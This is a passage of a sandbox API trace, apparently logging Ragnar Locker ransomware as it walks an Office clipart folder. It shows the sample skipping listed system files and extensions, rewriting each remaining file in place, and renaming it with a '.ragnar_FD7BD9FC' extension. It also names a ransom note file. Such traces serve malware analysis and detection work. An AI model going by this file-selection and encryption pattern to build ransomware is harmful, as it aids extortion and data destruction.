Office\\CLIPART\\PUB60COR\\J0292270.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" [0087.425] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.ragnar_FD7BD9FC" [0087.425] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292270.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292270.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.428] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292272.WMF", cAlternateFileName="")) returned 1 [0087.428] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.428] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0292272.WMF" | out: lpString1="J0292272.WMF") returned="J0292272.WMF" [0087.428] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF") returned=".WMF" [0087.428] lstrcmpiW (lpString1="J0292272.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.428] lstrcmpiW (lpString1="J0292272.WMF", lpString2="autorun.inf") returned 1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="boot.ini") returned 1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="bootfont.bin") returned 1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="bootsect.bak") returned 1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="bootmgr") returned 1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="bootmgr.efi") returned 1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="bootmgfw.efi") returned 1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="desktop.ini") returned 1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="iconcache.db") returned 1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="ntldr") returned -1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="ntuser.dat") returned -1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="ntuser.dat.log") returned -1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="ntuser.ini") returned -1 [0087.429] lstrcmpiW (lpString1="J0292272.WMF", lpString2="thumbs.db") returned -1 [0087.429] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.429] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.429] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.429] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.429] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.429] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.429] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf")) returned 0x20 [0087.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.430] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7012) returned 1 [0087.430] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b5b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.430] GetProcessHeap () returned 0x580000 [0087.430] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.430] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.431] VirtualAlloc (lpAddress=0x0, dwSize=0x1b64, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.431] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.431] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.431] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b64, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b64, lpOverlapped=0x0) returned 1 [0087.432] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.432] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b64, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.432] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b64, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b64, lpOverlapped=0x0) returned 1 [0087.433] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b64, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.433] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.433] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.433] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.433] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.433] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.433] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.433] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.433] GetProcessHeap () returned 0x580000 [0087.433] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.433] CloseHandle (hObject=0xf4) returned 1 [0087.433] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" [0087.433] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.ragnar_FD7BD9FC" [0087.433] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292272.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292272.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.434] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3658, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292278.WMF", cAlternateFileName="")) returned 1 [0087.434] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.434] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0292278.WMF" | out: lpString1="J0292278.WMF") returned="J0292278.WMF" [0087.434] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF") returned=".WMF" [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="autorun.inf") returned 1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="boot.ini") returned 1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="bootfont.bin") returned 1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="bootsect.bak") returned 1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="bootmgr") returned 1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="bootmgr.efi") returned 1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="bootmgfw.efi") returned 1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="desktop.ini") returned 1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="iconcache.db") returned 1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="ntldr") returned -1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="ntuser.dat") returned -1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="ntuser.dat.log") returned -1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="ntuser.ini") returned -1 [0087.434] lstrcmpiW (lpString1="J0292278.WMF", lpString2="thumbs.db") returned -1 [0087.435] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.435] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.435] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.435] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.435] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.435] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.435] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.435] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf")) returned 0x20 [0087.435] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.436] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13912) returned 1 [0087.436] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x364f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.436] GetProcessHeap () returned 0x580000 [0087.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.436] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.438] VirtualAlloc (lpAddress=0x0, dwSize=0x3658, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.438] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.438] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.438] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3658, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3658, lpOverlapped=0x0) returned 1 [0087.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.439] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3658, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.439] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3658, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3658, lpOverlapped=0x0) returned 1 [0087.439] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3658, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.439] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.439] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3658, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.439] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.439] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.440] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.440] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.440] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.440] GetProcessHeap () returned 0x580000 [0087.440] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.440] CloseHandle (hObject=0xf4) returned 1 [0087.440] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" [0087.440] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.ragnar_FD7BD9FC" [0087.440] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292278.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292278.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.441] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292286.WMF", cAlternateFileName="")) returned 1 [0087.441] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.441] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0292286.WMF" | out: lpString1="J0292286.WMF") returned="J0292286.WMF" [0087.441] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF") returned=".WMF" [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="autorun.inf") returned 1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="boot.ini") returned 1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="bootfont.bin") returned 1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="bootsect.bak") returned 1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="bootmgr") returned 1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="bootmgr.efi") returned 1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="bootmgfw.efi") returned 1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="desktop.ini") returned 1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="iconcache.db") returned 1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="ntldr") returned -1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="ntuser.dat") returned -1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="ntuser.dat.log") returned -1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="ntuser.ini") returned -1 [0087.441] lstrcmpiW (lpString1="J0292286.WMF", lpString2="thumbs.db") returned -1 [0087.441] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.441] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.441] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.441] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.441] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.441] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.441] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf")) returned 0x20 [0087.441] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.442] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19286) returned 1 [0087.442] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b4d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.442] GetProcessHeap () returned 0x580000 [0087.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.442] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.443] VirtualAlloc (lpAddress=0x0, dwSize=0x4b56, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.443] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.443] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.444] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4b56, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4b56, lpOverlapped=0x0) returned 1 [0087.444] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.445] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b56, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.445] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4b56, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4b56, lpOverlapped=0x0) returned 1 [0087.445] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b56, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.445] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.445] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.445] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.445] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.445] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.445] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.446] GetProcessHeap () returned 0x580000 [0087.446] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.446] CloseHandle (hObject=0xf4) returned 1 [0087.446] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" [0087.446] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.ragnar_FD7BD9FC" [0087.446] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0292286.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0292286.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.446] FindNextFileW (in: hFindFile=0x5a1328, 